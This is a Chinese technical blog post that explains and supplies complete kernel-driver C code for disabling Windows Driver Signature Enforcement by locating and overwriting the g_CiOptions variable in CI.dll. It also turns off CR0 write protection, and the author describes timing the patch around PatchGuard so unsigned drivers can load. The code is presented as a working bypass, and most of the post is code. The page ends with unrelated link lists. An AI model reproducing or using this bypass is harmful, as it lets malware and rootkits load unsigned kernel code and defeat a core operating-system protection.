一丶简介

现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.

下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了

你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.

原理:

原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.

全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.

二丶逆向CI.dll寻找Path位置.

既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.

结果

虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.

一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名

代码:


#include "Driver.h"
#include <wdm.h> //KLDR_DATA_TABLE_ENTRY typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
} LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
} }
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
} typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER; BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{ DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
} }
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
} //核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6; KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
} KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
} void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
} isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
} if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
} }
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索数据失败!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress:%p\n", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索数据失败!\n");
return FALSE;
}
}
void EnbalDse() //开启DSE保护
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad; Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
//EnbalDse(); //关闭DSE
} return STATUS_SUCCESS;
}

ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。

原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。

另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。

内核过DSE驱动签名验证.的更多相关文章

  1. 基于ubuntu-2.6.35内核的SDIO-WiFi驱动移植

    一.移植环境:        1.主机:Ubuntu 10.10发行版        2.目标机:FS_S5PC100平台        3.交叉编译工具:arm-cortex_a8-linux-gn ...

  2. Windows内核安全与驱动开发

    这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...

  3. linux内核SPI总线驱动分析(一)(转)

    linux内核SPI总线驱动分析(一)(转) 下面有两个大的模块: 一个是SPI总线驱动的分析            (研究了具体实现的过程) 另一个是SPI总线驱动的编写(不用研究具体的实现过程) ...

  4. 【转】 linux内核移植和驱动添加(三)

    原文网址:http://blog.chinaunix.net/uid-29589379-id-4708909.html 原文地址:linux内核移植和驱动添加(三) 作者:genehang 四,LED ...

  5. hisi3559的usb无线网卡驱动(rtl8192cu)(一条龙服务:内核编译、驱动编译、iw等工具编译)

    usb无线网卡驱动(rtl8192cu) 内核编译.驱动编译.iw等工具编译  (哈哈,如果有其他问题,麻烦留言:) 环境 板卡:hi3559av100(arm64) 交叉编译链:aarch64-hi ...

  6. Linux系统调用怎么和内核或底层驱动交互的

    学习Linux系统下驱动程序开发已有大半年时间,心中一直有个疑惑:那就是诸如open.write.read等系统调用是怎么和内核或底层驱动建立起联系的呢?今天将自己的一些粗略的理解总结如下.      ...

  7. Linux内核调用I2C驱动_驱动嵌套驱动方法

    禁止转载!!!! Linux内核调用I2C驱动_以MPU6050为例 0. 导语 最近一段时间都在恶补数据结构和C++,加上导师的事情比较多,Linux内核驱动的学习进程总是被阻碍.不过,十一假期终于 ...

  8. 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问

    国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...

  9. linux字符设备驱动中内核如何调用驱动入口函数 一点记录

    /* 内核如何调用驱动入口函数 ? *//* 答: 使用module_init()函数,module_init()函数定义一个结构体,这个结构体里面有一个函数指针,指向first_drv_init() ...

随机推荐

  1. 关于Svn服务总是链接异常

    之前一直在使用,本机电脑也没有修改网络环境却一直无法链接svn. 每次剪切代码都提示: ping服务ip可以ping通,域名却总是不通. 百度结果各种clear缓存,还不行 结果使用 在本地C:\Wi ...

  2. HashMap源码原理

    HashMap源码解析(负载因子,树化策略,内部hash实现,resize策略) 内部属性: 负载因子: final float loadFactor(默认为0.75f) 实际容量: int thre ...

  3. MySQL之查询篇(三)

    一:查询 1.创建数据库,数据表 -- 创建数据库 create database python_test_1 charset=utf8; -- 使用数据库 use python_test_1; -- ...

  4. Linux环境:VMware下windows虚拟机与linux主机进行文件共享的方法

    操作主要分两大步骤: 一.是对主机进行配置: 二.是在虚拟机上直接连接共享目录. 一.主机配置 1.打开VMware虚拟机,双击需要进行文件共享的虚拟机.如下图,双击CentOS 64位(以linux ...

  5. 【转载】如何查看本机电脑的公网IP

    在实际使用电脑的过程中,很多时候我们需要知道本地电脑的当前公网IP地址,我们都知道个人电脑的公网IP是不固定的,可能每天的对外公网IP都不一样,如果要查看当前本机电脑的对外公网IP,方法也很简单,直接 ...

  6. C语言深入学习

    计算机存储篇 1.计算机对数据类型的辨别: 编译器在编译C程序时将其转变为汇编指令,其中指明了数据类型.此外,每种数据类型都有固定的存储长度,计算机运行程序时,会根据具体类型 读出相应长度的数据进行计 ...

  7. html, js,css应用文件路径规则

    web前端一般常用文件 .html .css .js.但是当用css文件和html引入资源(比如图片)时,路径可能不相同.下面总结了几条. 使用相对路径引入规则: html或者js引入图片,按照htm ...

  8. iview 多选下拉列表选项回显问题

    如,简单的多选Select, <Select v-model="model" filterable clearable transfer multiple > < ...

  9. SVM 实现多分类思路

    svm 是针对二分类问题, 如果要进行多分类, 无非就是多训练几个svm呗 OVR (one versus rest) 对于k个类别(k>2) 的情况, 训练k个svm, 其中, 第j个svm用 ...

  10. 第一册:lesson 133.

    原文: Sensational news. question:What reasons did  Karen give for a wanting to retire? Have you just m ...